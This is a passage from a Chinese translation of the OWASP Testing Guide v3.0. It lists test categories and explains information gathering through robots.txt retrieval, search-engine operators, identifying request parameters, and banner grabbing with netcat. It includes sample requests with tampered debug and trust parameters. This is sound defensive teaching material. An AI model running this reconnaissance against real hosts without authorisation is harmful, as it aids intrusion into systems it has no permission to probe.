该 看 如 下 的 信 息 :<br />

https://www.example.com/login/Authentic_Form.html<br />

这 个 展 示 了 一 个 认 证 的 表 单 , 需 要 一 个 用 户 名 和 密 码 。<br />

47


下 面 的 参 数 两 种 方 式 发 给 应 用 。<br />

http://www.example.com/Appx.jsp?a=1&b=1<br />

在 这 种 情 况 下 , 应 用 表 明 了 2 个 信 道 ( 参 数 a 和 b) . 所 有 的 在 这 个 阶 段 发 现 的 信 道 表 明 了 一 个 测 试 的 点 。<br />

一 个 应 用 的 目 录 树 形 数 据 表 以 及 所 有 的 点 对 于 第 二 个 阶 段 都 是 很 有 用 的 。<br />

• 主 动 模 式 : 在 这 个 阶 段 , 测 试 者 开 始 用 描 述 的 方 法 测 试 。 我 们 分 成 9 个 子 类 总 共 66 个 控 制 :<br />

• 配 置 管 理 测 试<br />

• 业 务 逻 辑 测 试<br />

• 认 证 测 试<br />

• 授 权 测 试<br />

• 会 话 管 理 测 试<br />

• 数 据 验 证 测 试<br />

• 拒 绝 服 务 测 试<br />

• Web 服 务 测 试<br />

• Ajax 测 试<br />

下 表 是 评 定 过 程 中 的 测 试 列 表 :<br />

属 性 参 考 编 号 测 试 名 称 弱 点<br />

OWASP-IG-001<br />

Spiders, Robots and<br />

N.A.<br />

Crawlers -<br />

OWASP-IG-002<br />

Search Engine<br />

N.A.<br />

信 息 收 集<br />

OWASP-IG-003<br />

Discovery/Reconnaissance<br />

Identify application entry<br />

N.A.<br />

points<br />

OWASP-IG-004<br />

Testing for Web Application<br />

N.A.<br />

Fingerprint<br />

OWASP-IG-005 Application Discovery N.A.<br />

48


OWASP 测 试 指 南 v3.0<br />

OWASP-IG-006 Analysis of Error Codes Information Disclosure<br />

OWASP-CM-001<br />

SSL/TLS Testing (SSL Version,<br />

Algorithms, Key length,<br />

Digital Cert. Validity)<br />

SSL Weakness<br />

OWASP-CM-002 DB Listener Testing DB Listener weak<br />

OWASP-CM-003<br />

Infrastructure Configuration<br />

Infrastructure<br />

Management Testing<br />

Configuration<br />

management weakness<br />

OWASP-CM-004<br />

Application Configuration<br />

Application<br />

Management Testing<br />

Configuration<br />

配 置 管 理 测 试<br />

OWASP-CM-005<br />

Testing for File Extensions<br />

management weakness<br />

File extensions handling<br />

Handling<br />

OWASP-CM-006<br />

Old, backup and<br />

Old, backup and<br />

unreferenced files<br />

unreferenced files<br />

OWASP-CM-007<br />

Infrastructure and<br />

Access to Admin<br />

Application Admin<br />

interfaces<br />

Interfaces<br />

OWASP-CM-008<br />

Testing for HTTP Methods<br />

HTTP Methods enabled,<br />

and XST<br />

XST permitted, HTTP<br />

Verb<br />

OWASP-AT-001<br />

Credentials transport over<br />

Credentials transport<br />

an encrypted channel<br />

over an encrypted<br />

channel<br />

OWASP-AT-002<br />

Testing for user<br />

User enumeration<br />

认 证 测 试<br />

enumeration<br />

OWASP-AT-003<br />

Testing for Guessable<br />

Guessable user account<br />

(Dictionary) User Account<br />

OWASP-AT-004 Brute Force Testing Credentials Brute<br />

forcing<br />

49


OWASP-AT-005<br />

Testing for bypassing<br />

authentication schema<br />

Bypassing<br />

authentication schema<br />

OWASP-AT-006<br />

Testing for vulnerable<br />

remember password and<br />

pwd reset<br />

Vulnerable remember<br />

password, weak pwd<br />

reset<br />

OWASP-AT-007<br />

Testing for Logout and<br />

Browser Cache<br />

Management<br />

Logout function not<br />

properly implemented,<br />

browser cache<br />

weakness<br />

OWASP-AT-008 Testing for CAPTCHA Weak Captcha<br />

implementation<br />

OWASP-AT-009<br />

Testing Multiple Factors<br />

Authentication<br />

Weak Multiple Factors<br />

Authentication<br />

OWASP-AT-010 Testing for Race Conditions Race Conditions<br />

vulnerability<br />

OWASP-SM-001<br />

Testing for Session<br />

Bypassing Session<br />

Management Schema<br />

Management Schema,<br />

Weak Session Token<br />

OWASP-SM-002<br />

Testing for Cookies<br />

Cookies are set not<br />

attributes<br />

‘HTTP Only’, ‘Secure’,<br />

会 话 管 理<br />

and no time validity<br />

OWASP-SM-003 Testing for Session Fixation Session Fixation<br />

OWASP-SM-004<br />

Testing for Exposed Session<br />

Variables<br />

Exposed sensitive<br />

session variables<br />

OWASP-SM-005 Testing for CSRF CSRF<br />

OWASP-AZ-001 Testing for Path Traversal Path Traversal<br />

授 权 测 试<br />

OWASP-AZ-002<br />

Testing for bypassing<br />

Bypassing authorization<br />

authorization schema<br />

schema<br />

50


OWASP 测 试 指 南 v3.0<br />

OWASP-AZ-003<br />

Testing for Privilege<br />

Escalation<br />

Privilege Escalation<br />

业 务 逻 辑 测 试 OWASP-BL-001 Testing for business logic Bypassable business<br />

logic<br />

OWASP-DV-001<br />

Testing for Reflected Cross<br />

Site Scripting<br />

Reflected XSS<br />

OWASP-DV-002<br />

Testing for Stored Cross Site<br />

Scripting<br />

Stored XSS<br />

OWASP-DV-003<br />

Testing for DOM based<br />

Cross Site Scripting<br />

DOM XSS<br />

OWASP-DV-004<br />

Testing for Cross Site<br />

Flashing<br />

Cross Site Flashing<br />

数 据 验 证 测 试<br />

OWASP-DV-005 SQL Injection SQL Injection<br />

OWASP-DV-006 LDAP Injection LDAP Injection<br />

OWASP-DV-007 ORM Injection ORM Injection<br />

OWASP-DV-008 XML Injection XML Injection<br />

OWASP-DV-009 SSI Injection SSI Injection<br />

OWASP-DV-010 XPath Injection XPath Injection<br />

OWASP-DV-011 IMAP/SMTP Injection IMAP/SMTP Injection<br />

OWASP-DV-012 Code Injection Code Injection<br />

OWASP-DV-013 OS Commanding OS Commanding<br />

OWASP-DV-014 Buffer overflow Buffer overflow<br />

OWASP-DV-015<br />

Incubated vulnerability<br />

Testing<br />

Incubated vulnerability<br />

OWASP-DV-016<br />

Testing for HTTP<br />

Splitting/Smuggling<br />

HTTP Splitting,<br />

Smuggling<br />

51


拒 绝 服 务 测 试 OWASP-DS-001 Testing for SQL Wildcard<br />

Attacks<br />

SQL Wildcard<br />

vulnerability<br />

OWASP-DS-002 Locking Customer Accounts Locking Customer<br />

Accounts<br />

OWASP-DS-003<br />

Testing for DoS Buffer<br />

Overflows<br />

Buffer Overflows<br />

OWASP-DS-004<br />

User Specified Object<br />

Allocation<br />

User Specified Object<br />

Allocation<br />

OWASP-DS-005<br />

User Input as a Loop<br />

Counter<br />

User Input as a Loop<br />

Counter<br />

OWASP-DS-006<br />

Writing User Provided Data<br />

to Disk<br />

Writing User Provided<br />

Data to Disk<br />

OWASP-DS-007<br />

Failure to Release<br />

Resources<br />

Failure to Release<br />

Resources<br />

OWASP-DS-008<br />

Storing too Much Data in<br />

Session<br />

Storing too Much Data<br />

in Session<br />

OWASP-WS-001 WS Information Gathering N.A.<br />

OWASP-WS-002 Testing WSDL WSDL Weakness<br />

OWASP-WS-003 XML Structural Testing Weak XML Structure<br />

WEB 服 务 测 试<br />

OWASP-WS-004 XML content-level Testing XML content-level<br />

OWASP-WS-005 HTTP GET parameters/REST WS HTTP GET<br />

Testing<br />

parameters/REST<br />

OWASP-WS-006 Naughty SOAP attachments WS Naughty SOAP<br />

attachments<br />

OWASP-WS-007 Replay Testing WS Replay Testing<br />

AJAX 测 试 OWASP-AJ-001 AJAX Vulnerabilities N.A<br />

OWASP-AJ-002 AJAX Testing AJAX weakness<br />

52


OWASP 测 试 指 南 v3.0<br />

4.2 信 息 收 集<br />

在 安 全 评 估 中 第 一 个 阶 段 是 收 集 尽 可 能 多 的 关 于 目 标 应 用 的 信 息 。 信 息 收 集 是 渗 透 性 测 试 的 必 要 步 骤 。 这 个 可 以 以<br />

多 种 方 式 执 行 。<br />

用 公 共 工 具 ( 搜 索 引 擎 ) , 扫 描 仪 , 发 送 简 单 的 http 请 求 , 或 者 特 殊 的 人 为 的 请 求 , 这 样 可 能 促 使 应 用 程 序 泄 露 信 息 . 比<br />

如 泄 露 错 误 信 息 , 披 露 所 使 用 过 得 版 本 信 息 或 技 术 。<br />

蜘 蛛 , 机 器 人 和 爬 虫 (OWASP-IG-001)<br />

这 个 阶 段 的 信 息 收 集 由 浏 览 , 捕 获 测 试 应 用 的 资 源 。<br />

搜 索 引 擎 的 发 现 / 侦 查 (OWASP-IG-002)<br />

搜 索 引 擎 , 比 如 谷 歌 , 能 够 用 来 发 现 公 开 显 露 的 网 页 应 用 结 构 或 者 错 误 页 面 的 相 关 问 题 。<br />

确 认 应 用 的 进 入 点 (OWASP-IG-003)<br />

枚 举 应 用 和 它 攻 击 途 径 是 入 侵 发 生 之 前 的 预 警 。 这 个 部 分 将 帮 助 你 在 枚 举 完 成 后 , 找 出 在 应 用 里 面 每 一 个 应 该 检 测<br />

的 领 域 。<br />

测 试 网 页 应 用 的 指 纹 (OWASP-IG-004)<br />

应 用 指 纹 是 信 息 收 集 的 第 一 步 。 知 道 运 行 网 页 服 务 器 的 版 本 , 让 测 试 人 员 知 道 哪 些 是 已 知 弱 点 及 在 测 试 时 使 用 何 种<br />

方 法 恰 当 。<br />

应 用 发 现 (OWASP-IG-005)<br />

应 用 发 现 是 以 发 现 以 web 服 务 器 或 应 用 服 务 器 为 主 机 的 网 页 应 用 为 目 标 的 行 动 。 由 于 与 后 台 的 主 要 应 用 没 有 直 接 联<br />

系 , 这 种 分 析 是 很 重 要 的 。 发 现 分 析 对 于 发 现 细 节 很 有 效 , 比 如 发 现 用 于 管 理 目 的 的 网 站 应 用 。 另 外 能 发 现 旧 的 文<br />

件 版 本 或 者 工 件 , 比 如 在 测 试 , 开 发 或 维 护 过 程 中 产 生 的 恢 复 的 , 已 不 用 的 脚 本 。<br />

错 误 码 分 析 (OWASP-IG-006)<br />

在 渗 透 性 测 试 过 程 中 , 网 页 应 用 泄 露 那 些 原 本 不 想 被 终 端 用 户 看 见 的 信 息 。 错 误 码 等 信 息 能 让 测 试 者 了 解 应 用 使 用<br />

的 有 关 技 术 和 产 品 。 很 多 情 况 下 , 由 于 异 常 处 理 和 程 序 代 码 的 不 合 理 , 甚 至 不 需 要 任 何 特 殊 技 术 或 工 具 , 都 很 容 易<br />

触 发 产 生 错 误 代 码 的 条 件 从 而 产 生 错 误 代 码 。<br />

很 明 显 , 仅 仅 关 注 网 站 应 用 并 不 是 一 个 全 面 的 测 试 。 通 过 广 泛 的 架 构 分 析 得 到 的 数 据 比 它 更 全 面 。<br />

53


4.2.1 测 试 : 蜘 蛛 , 机 器 人 和 爬 虫 (OWASP-IG-001)<br />

概 要<br />

这 一 节 主 要 描 述 如 何 测 试 robots.txt 文 件 .。<br />

问 题 描 述<br />

网 络 蜘 蛛 / 机 器 人 / 抓 取 工 具 检 索 的 网 页 , 然 后 递 归 遍 历 超 链 接 进 一 步 检 索 网 页 内 容 。 他 们 可 接 受 的 行 为 在 Web 根 目<br />

录 下 的 [ 1 ]robots.txt 文 件 中 的 机 器 人 排 除 协 议 中 有 详 细 说 明 。<br />

举 个 例 子 :2008 年 8 月 24 日 从 http://www.google.com/robots.txtthe robots.txt 引 述 的 文 件 如 下 :<br />

User-agent: *<br />

Allow: /searchhistory/<br />

Disallow: /news?output=xhtml&<br />

Allow: /news?output=xhtml<br />

Disallow: /search<br />

Disallow: /groups<br />

Disallow: /images<br />

...<br />

user - agent 的 指 令 指 的 是 具 体 的 网 络 蜘 蛛 / 机 器 人 / 爬 虫 。 例 如 : Googlebot 指 的 是 GoogleBot 抓 取 工 具 , 而 User-<br />

Agent: * 在 上 面 的 例 子 指 的 是 所 有 网 络 蜘 蛛 / 机 器 人 / 爬 虫 [ 2 ], 援 引 如 下 :<br />

User-agent: *<br />

Disallow 指 令 规 定 了 蜘 蛛 / 机 器 人 / 爬 虫 禁 用 的 资 源 。 在 上 面 的 例 子 中 , 下 面 的 目 录 是 禁 用 的 :<br />

...<br />

Disallow: /search<br />

Disallow: /groups<br />

Disallow: /images<br />

...<br />

网 络 蜘 蛛 / 机 器 人 / 抓 取 工 具 可 以 故 意 忽 略 robots.txt 文 件 [ 3 ] 中 Disallow 指 令 制 定 的 部 分 。 因 此 ,<br />

robots.txt 的 不 应 被 视 为 一 种 强 制 机 制 去 限 制 如 何 访 问 , 存 储 或 由 第 三 方 再 发 表 Web 内 容 。<br />

黑 盒 测 试 实 例<br />

Wget<br />

robots.txt 文 件 是 存 储 在 Web 服 务 器 的 Web 根 目 录 上 的 。 例 如 , 如 果 要 从 www.google.com 上 检 索 robots.txt, 使 用<br />

wget:<br />

54


OWASP 测 试 指 南 v3.0<br />

$ wget http://www.google.com/robots.txt<br />

--23:59:24-- http://www.google.com/robots.txt<br />

=> 'robots.txt'<br />

Resolving www.google.com... 74.125.19.103, 74.125.19.104, 74.125.19.147, ...<br />

Connecting to www.google.com|74.125.19.103|:80... connected.<br />

HTTP request sent, awaiting response... 200 OK<br />

Length: unspecified [text/plain]<br />

[ ] 3,425 --.--K/s<br />

23:59:26 (13.67MB/s) - 'robots.txt' saved [3425]<br />

Analyze robots.txt 使 用 google 网 页 管 理 工 具<br />

谷 歌 提 供 了 一 个 “Analyze<br />

robots.txt” 功 能 , 作 为 其 “ 谷 歌 网 站 管 理 员 工 具 组 ”, 它 可 以 协 助 测 试 [4]。 步 骤 如 下 :<br />

1 使 用 谷 歌 帐 户 . 登 录 到 谷 歌 网 站 管 理 员 工 具 组 。<br />

2. 控 制 台 中 , 点 击 你 想 要 的 网 站 的 网 址 。<br />

3. 单 击 工 具 , 然 后 单 击 Analyze robots.txt 。<br />

灰 盒 测 试 及 实 例<br />

灰 盒 测 试 进 程 与 黑 盒 测 试 相 同 。<br />

参 考<br />

白 皮 书<br />

• [1] "The Web Robots Pages" - http://www.robotstxt.org/<br />

• [2] "How do I block or allow Googlebot?" -<br />

http://www.google.com/support/webmasters/bin/answer.py?answer=40364&query=googlebot&topic=&type=<br />

• [3] "(ISC)2 Blog: The Attack of the Spiders from the Clouds" - http://blog.isc2.org/isc2_blog/2008/07/the-attack-of-t.html<br />

• [4] "How do I check that my robots.txt file is working as expected?" -<br />

http://www.google.com/support/webmasters/bin/answer.py?answer=35237<br />

55


4.2.2 搜 索 引 擎 发 现 / 侦 查 (OWASP-IG-002)<br />

摘 要<br />

本 节 说 明 如 何 搜 索 谷 歌 索 引 和 从 谷 歌 缓 存 中 删 除 相 关 的 网 页 内 容 。<br />

问 题 描 述<br />

一 旦 Googlebot 已 完 成 检 索 , 它 开 始 以 标 签 和 相 关 属 性 为 基 础 建 立 网 站 索 引 , 如 使 用 , 可 以 返 回 相 关 的<br />

搜 索 结 果 [1]。<br />

如 果 robots.txt 文 件 没 有 在 网 站 有 效 期 内 更 新 , 那 么 不 打 算 列 入 谷 歌 搜 索 结 果 的 网 站 内 容 将 有 可 能 被 返 回 。 因<br />

此 , 必 须 从 从 谷 歌 缓 存 移 走 。<br />

黑 盒 测 试<br />

采 用 先 进 的 “ site : ” 搜 索 运 算 符 , 有 可 能 将 搜 索 结 果 限 制 到 特 定 的 域 [ 2 ] 。<br />

谷 歌 提 供 了 先 进 的 “ cache : ” 搜 索 运 算 符 [ 2 ] , 但 这 是 相 当 于 点 击 在 每 个 谷 歌 搜 索 结 果 旁 边 的 “ 缓 存 ”。 因 此 , 利<br />

用 先 进 的 “ site : ” 搜 索 运 算 符 , 然 后 点 击 “ 缓 存 ” 是 首 选 。<br />

在 Google SOAP Search API 支 持 doGetCachedPage 和 相 关 doGetCachedPageResponse SOAP 消 息 [ 3 ] , 以 协 助 检 索 缓<br />

存 的 网 页 。OWASP “ 谷 歌 黑 客 ” 项 目 正 在 开 发 中 。 更 多 信 息 请 查 询 OWASP "Google Hacking" Project。<br />

实 例<br />

要 了 解 谷 歌 缓 存 对 owasp.org 网 站 内 容 的 检 索 , 采 用 下 面 的 谷 歌 搜 索 查 询 :<br />

site:owasp.org<br />

56


OWASP 测 试 指 南 v3.0<br />

要 显 示 谷 歌 对 owasp.org 的 index.htm 缓 存 , 采 用 的 谷 歌 搜 索 查 询 是 :<br />

cache:owasp.org<br />

57


灰 盒 测 试<br />

灰 盒 测 试 与 上 面 的 黑 客 测 试 相 同<br />

参 考<br />

[1] "Google 101: How Google crawls, indexes, and serves the web" -<br />

http://www.google.com/support/webmasters/bin/answer.py?answer=70897<br />

[2] "Advanced Google Search Operators" - http://www.google.com/help/operators.html<br />

[3] "Google SOAP Search API" - http://code.google.com/apis/soapsearch/reference.html#1_2<br />

[4] "Preventing content from appearing in Google search results" -<br />

http://www.google.com/support/webmasters/bin/topic.py?topic=8459<br />

4.2.3 应 用 入 口 识 别 (OWASP-IG-003)<br />

概 要<br />

枚 举 应 用 和 它 攻 击 途 径 是 在 更 深 入 测 试 之 前 的 主 要 步 骤 , 它 能 帮 助 测 试 人 员 找 出 可 能 是 弱 点 的 地 方 。 这 个 部 分 将 帮<br />

助 你 在 枚 举 完 成 后 , 找 出 在 应 用 里 面 每 一 个 应 该 更 深 入 检 测 的 领 域 。<br />

问 题 描 述<br />

在 测 试 开 始 之 前 , 要 重 复 理 解 该 应 用 以 及 用 户 / 浏 览 器 如 何 与 该 应 用 交 互 。 浏 览 整 个 应 用 , 关 注 所 有 的 http 的 请<br />

求 (get 和 post 方 法 , 也 称 动 词 ), 以 及 每 个 发 送 给 应 用 的 参 数 及 表 单 的 域 。 另 外 , 关 注 何 时 get 和 post 请 求 送<br />

参 数 给 应 用 .Get 请 求 很 普 遍 实 用 , 但 是 遇 到 敏 感 信 息 需 要 传 递 的 时 候 , 经 常 使 用 post 请 求 。 如 果 想 看 到 post 请 求 中<br />

的 参 数 , 你 需 要 一 个 工 具 , 比 如 截 取 代 理 ( 比 如 OWASP's WebScarab) 或 者 网 页 插 件 。 在 post 请 求 里 面 特 别 注 意 一<br />

些 隐 藏 的 字 段 , 他 们 通 常 包 含 敏 感 信 息 , 比 如 洲 信 息 , 数 量 , 及 产 品 价 格 , 那 些 开 发 者 不 愿 意 被 用 户 看 见 或 者 修 改<br />

的 信 息 。<br />

在 作 者 的 经 验 里 , 在 测 试 的 这 个 阶 段 截 取 代 理 和 数 据 表 非 常 有 用 。 代 理 器 会 保 留 每 个 你 和 应 用 之 间 的 请 求 与 回 应 ,<br />

这 样 你 能 准 确 看 见 那 些 发 送 到 应 用 的 和 从 应 用 返 回 的 每 个 头 信 息 , 参 数 等 等 。 这 在 时 间 上 将 十 分 繁 重 , 特 别 是 交 互<br />

量 很 大 的 站 点 ( 想 想 银 行 系 统 )。 尽 管 如 此 , 经 验 将 告 诉 你 要 寻 找 什 幺 , 因 此 这 一 个 阶 段 将 会 简 化 。 当 你 使 用 应<br />

用 , 记 录 下 你 在 url, 自 定 义 的 头 信 息 , 或 者 请 求 或 者 回 应 的 信 息 体 中 感 兴 趣 的 参 数 , 并 保 存 在 你 的 数 据 表 中 。 数<br />

据 表 应 该 包 括 你 请 求 的 页 面 ( 更 好 的 是 添 加 你 从 代 理 器 请 求 的 数 字 , 为 以 后 的 参 考 ), 感 兴 趣 的 参 数 , 请 求 的 类 型<br />

(POST/GET), 是 否 能 通 过 认 证 ,SSL 是 否 使 用 , 是 否 是 多 步 骤 中 的 一 步 , 及 其 它 相 关 的 信 息 。 一 旦 你 找 出 应 用 的<br />

每 个 部 分 , 你 就 能 浏 览 应 用 , 测 试 你 所 找 出 的 每 个 可 能 存 在 漏 洞 的 部 分 , 然 后 记 录 哪 些 能 工 作 的 , 哪 些 不 能 。 这 份<br />

指 导 的 其 它 部 分 将 指 出 如 何 测 试 每 个 感 兴 趣 的 部 分 , 但 是 在 任 何 实 际 测 试 开 始 之 前 必 须 阅 读 这 章 节 的 内 容 。<br />

58


OWASP 测 试 指 南 v3.0<br />

下 面 是 一 些 所 有 请 求 和 回 应 都 有 的 兴 趣 点 。 在 请 求 部 分 , 关 注 GET /POST 方 式 , 这 些 在 大 多 数 请 求 都 有 。 注 意 其 它<br />

方 式 ,PUT 和 DELETE 同 样 也 可 被 使 用 。 通 常 , 这 些 少 见 的 请 求 , 如 果 允 许 , 可 能 会 有 弱 点 。 在 本 指 南 中 有 一 个 专 门<br />

章 节 介 绍 测 试 HTTP 的 方 法 。<br />

请 求 :<br />

• 确 认 哪 些 地 方 运 用 GET 方 式 , 哪 些 地 方 运 用 POST 方 式 .<br />

• 所 有 在 POST 方 式 里 面 的 参 数 ( 这 些 在 请 求 体 中 )<br />

• 在 post 方 式 里 , 关 注 隐 藏 的 参 数 。 当 post 发 送 时 , 所 有 的 表 单 的 字 段 ( 包 括 隐 藏 的 参 数 ) 都 在 http 消 息<br />

体 中 发 送 到 应 用 。 除 非 你 用 代 理 或 者 看 html 的 原 代 码 , 否 则 你 看 不 到 这 些 。 另 外 , 在 你 看 的 下 一 页 , 数 据<br />

和 你 的 请 求 会 根 据 隐 藏 参 数 值 的 不 同 而 不 同 。<br />

• 确 认 所 有 在 GET 请 求 中 的 参 数 ( 比 如 url), 特 别 是 请 求 的 字 符 串 ( 通 常 在 a? 之 后 )<br />

• 确 认 字 符 串 的 所 有 参 数 。 通 常 是 一 对 的 格 式 , 比 如 foo=bar, 同 样 很 多 参 数 会 在 一 个 字 符 串 中 用 特 殊 符 号<br />

&,~, : 或 者 其 它 符 号 间 隔 开<br />

• 特 别 注 意 的 是 在 一 个 字 符 串 或 一 个 POST 请 求 中 确 认 多 个 参 数 时 , 一 些 或 者 所 有 的 参 数 将 被 需 要 来 执 行 测<br />

试 。 你 需 要 确 认 所 有 的 参 数 ( 即 使 编 码 的 或 者 加 密 的 ), 辨 认 哪 些 会 被 应 用 所 处 理 。 下 面 指 导 会 说 明 如 何<br />

测 试 这 些 参 数 。 这 种 情 况 下 , 只 需 要 确 认 你 找 到 所 有 的 参 数 。<br />

• 关 注 额 外 的 或 者 自 定 义 的 不 能 明 显 看 到 的 头 信 息 ( 比 如 debug=False)<br />

响 应 :<br />

• 确 认 哪 里 设 置 , 修 改 或 添 加 了 新 的 cookies ( 设 置 cookie 头 信 息 )。<br />

• 确 认 在 正 常 回 应 中 是 否 有 转 发 的 请 求 (300 HTTP 状 态 码 ),400 状 态 码 。 特 别 是 403 禁 止 , 及 500 内 部 服 务<br />

器 错 误 ( 比 如 , 不 能 修 改 的 请 求 )<br />

• 注 意 感 兴 趣 的 头 信 息 被 使 用 。 比 如 Server: BIG-IP 暗 示 站 点 负 载 平 衡 。 如 果 一 个 站 点 使 用 负 载 平 衡 , 并 且 只<br />

有 一 个 服 务 器 配 置 不 当 , 你 可 能 需 要 请 求 多 次 去 访 问 这 个 易 受 到 危 害 的 服 务 器 , 依 赖 于 所 使 用 的 负 载 平 衡<br />

的 类 型 。<br />

黑 盒 测 试 实 例<br />

应 用 入 口 测 试 :<br />

以 下 是 对 应 用 入 口 如 何 进 行 检 查 的 例 子 。<br />

例 1:<br />

59


这 个 例 子 展 示 了 通 过 一 个 GET 请 求 获 取 网 上 购 物 网 站 的 信 息 。<br />

简 单 的 GET 请 求 :<br />

• GET https://x.x.x.x/shoppingApp/buyme.asp?CUSTOMERID=100&ITEM=z101a&PRICE=62.50&IP=x.x.x.x<br />

• Host: x.x.x.x<br />

• Cookie: SESSIONID=Z29vZCBqb2IgcGFkYXdhIG15IHVzZXJuYW1lIGlzIGZvbyBhbmQgcGFzc3dvcmQgaXMgYmFy<br />

结 果 预 期 :<br />

这 里 你 需 要 注 意 到 如 CUSTOMERID, ITEM, PRICE, IP, 和 Cookie 这 些 参 数 的 请 求 ( 这 可 能 仅 仅 是 编 码 参 数 或 用 于 会 话 状<br />

态 )。<br />

例 2:<br />

这 个 例 子 展 示 了 通 过 一 个 POST 请 求 登 陆 应 用 。<br />

简 单 的 POST 请 求 :<br />

• POST https://x.x.x.x/KevinNotSoGoodApp/authenticate.asp?service=login<br />

• Host: x.x.x.x<br />

• Cookie:<br />

SESSIONID=dGhpcyBpcyBhIGJhZCBhcHAgdGhhdCBzZXRzIHByZWRpY3RhYmxlIGNvb2tpZXMgYW5kIG1pbmUgaXMg<br />

MTIzNA==<br />

• CustomCookie=00my00trusted00ip00is00x.x.x.x00<br />

POST 信 息 主 体 :<br />

user=admin&pass=pass123&debug=true&fromtrustIP=true<br />

结 果 预 期<br />

在 这 个 例 子 中 你 会 注 意 到 你 之 前 有 的 所 有 参 数 , 但 请 注 意 , 该 参 数 是 通 过 信 息 的 正 文 , 而 不 是 在 URL 传 送 。 另 外 注<br />

意 到 , 有 一 个 自 定 义 的 Cookie 正 在 使 用 。<br />

灰 盒 测 试 实 例<br />

通 过 灰 盒 方 法 对 应 用 切 入 点 进 行 的 测 试 包 括 已 经 用 警 告 确 定 的 一 切 。 这 就 像 是 有 一 些 外 部 资 源 , 应 用 可 以 从 它 们 获<br />

得 并 处 理 数 据 ( 如 SNMP 陷 阱 , syslog 消 息 , SMTP, 或 来 自 其 它 服 务 器 的 SOAP 消 息 ) 。 如 果 有 任 何 外 部 资 源 的<br />

60


OWASP 测 试 指 南 v3.0<br />

进 入 应 用 , 应 用 开 发 人 员 就 会 开 会 确 认 可 接 受 或 期 望 用 户 输 入 并 确 认 它 们 的 格 式 。 例 如 , 开 发 人 员 可 以 帮 助 制 定 正<br />

确 的 应 用 能 接 受 的 的 SOAP 请 求 , 并 了 解 web 服 务 存 在 在 哪 些 地 方 。( 如 果 在 黑 盒 测 试 时 尚 未 确 定 Web 服 务 或 其 他<br />

功 能 ) 。<br />

参 考<br />

白 皮 书<br />

工 具<br />

• RFC 2616 – Hypertext Transfer Protocol – HTTP 1.1 - http://tools.ietf.org/html/rfc2616<br />

代 理 拦 截<br />

• OWASP: Webscarab<br />

• Dafydd Stuttard: Burp proxy - http://portswigger.net/proxy/<br />

• MileSCAN: Paros Proxy - http://www.parosproxy.org/download.shtml<br />

浏 览 器 插 件<br />

• "TamperIE" for Internet Explorer - http://www.bayden.com/TamperIE/<br />

• Adam Judson: "Tamper Data" for Firefox - https://addons.mozilla.org/en-US/firefox/addon/966<br />

4.2.4 WEB 应 用 指 纹 测 试 (OWASP-IG-004)<br />

摘 要<br />

网 站 服 务 器 指 纹 识 别 对 于 渗 透 测 试 是 一 个 关 键 的 任 务 。 知 道 版 本 信 息 和 运 行 网 页 服 务 器 的 类 型 , 能 够 让 测 试 者 在 测<br />

试 中 知 道 哪 些 是 已 知 弱 点 和 找 到 弱 点 的 适 当 方 法 。<br />

问 题 描 述<br />

现 在 市 面 上 有 许 多 不 同 的 供 应 商 和 不 同 的 web 服 务 器 版 本 。 知 道 你 所 测 试 的 Web 服 务 器 的 类 型 将 有 利 于 测 试 进 程 并<br />

有 可 能 改 变 测 试 过 程 。 你 可 以 通 过 发 送 web 服 务 器 特 定 命 令 并 分 析 输 出 得 到 这 些 信 息 , 因 为 每 个 Web 服 务 器 软 件 对<br />

这 些 特 定 命 令 反 应 都 不 同 。 通 过 了 解 各 种 类 型 的 web 服 务 器 如 何 对 特 定 命 令 反 应 , 并 将 这 些 信 息 保 存 在 web 服 务 器<br />

指 纹 数 据 库 中 , 渗 透 测 试 者 能 将 这 些 命 名 发 送 给 web 服 务 器 , 分 析 反 应 情 况 并 对 比 数 据 库 中 的 已 知 的 特 性 。 请 注<br />

意 , 通 常 需 要 几 个 不 同 的 命 令 , 以 准 确 地 确 定 在 Web 服 务 器 , 因 为 不 同 的 版 本 可 能 会 对 同 一 个 命 令 反 应 相 似 。 但 是<br />

很 少 有 不 同 版 本 对 所 有 的 HTTP 命 名 反 应 一 样 。 因 此 , 通 过 发 送 几 个 不 同 的 命 令 , 增 加 您 的 准 确 性 。<br />

黑 盒 测 试 实 例<br />

61


确 定 web 服 务 器 最 简 单 和 最 基 本 的 形 式 是 看 的 服 务 器 领 域 中 的 HTTP 响 应 头 。 我 们 的 实 验 中 , 我 们 使 用 netcat。 考<br />

虑 以 下 的 HTTP 请 求 响 应 :<br />

$ nc 202.41.76.251 80<br />

HEAD / HTTP/1.0<br />

HTTP/1.1 200 OK<br />

Date: Mon, 16 Jun 2003 02:53:29 GMT<br />

Server: Apache/1.3.3 (Unix) (Red Hat/Linux)<br />

Last-Modified: Wed, 07 Oct 1998 11:18:14 GMT<br />

ETag: "1813-49b-361b4df6"<br />

Accept-Ranges: bytes<br />

Content-Length: 1179<br />

Connection: close<br />

Content-Type: text/html<br />

从 服 务 器 领 域 , 我 们 的 理 解 是 , 可 能 是 服 务 器 的 Apache , 版 本 1.3.3 , 运 行 于 Linux 操 作 系 统 。<br />

四 个 例 子 HTTP 响 应 头 如 下 所 示 。<br />

From an Apache 1.3.23 server:<br />

HTTP/1.1 200 OK<br />

Date: Sun, 15 Jun 2003 17:10: 49 GMT<br />

Server: Apache/1.3.23<br />

Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT<br />

ETag: 32417-c4-3e5d8a83<br />

Accept-Ranges: bytes<br />

Content-Length: 196<br />

Connection: close<br />

Content-Type: text/HTML<br />

From a Microsoft IIS 5.0 server:<br />

HTTP/1.1 200 OK<br />

Server: Microsoft-IIS/5.0<br />

Expires: Yours, 17 Jun 2003 01:41: 33 GMT<br />

Date: Mon, 16 Jun 2003 01:41: 33 GMT<br />

Content-Type: text/HTML<br />

Accept-Ranges: bytes<br />

Last-Modified: Wed, 28 May 2003 15:32: 21 GMT<br />

ETag: b0aac0542e25c31: 89d<br />

Content-Length: 7369<br />

From a Netscape Enterprise 4.1 server:<br />

HTTP/1.1 200 OK<br />

Server: Netscape-Enterprise/4.1<br />

Date: Mon, 16 Jun 2003 06:19: 04 GMT<br />

62


OWASP 测 试 指 南 v3.0<br />

Content-type: text/HTML<br />

Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT<br />

Content-length: 57<br />

Accept-ranges: bytes<br />

Connection: close<br />

From a SunONE 6.1 server:<br />

HTTP/1.1 200 OK<br />

Server: Sun-ONE-Web-Server/6.1<br />

Date: Tue, 16 Jan 2007 14:53:45 GMT<br />

Content-length: 1186<br />

Content-type: text/html<br />

Date: Tue, 16 Jan 2007 14:50:31 GMT<br />

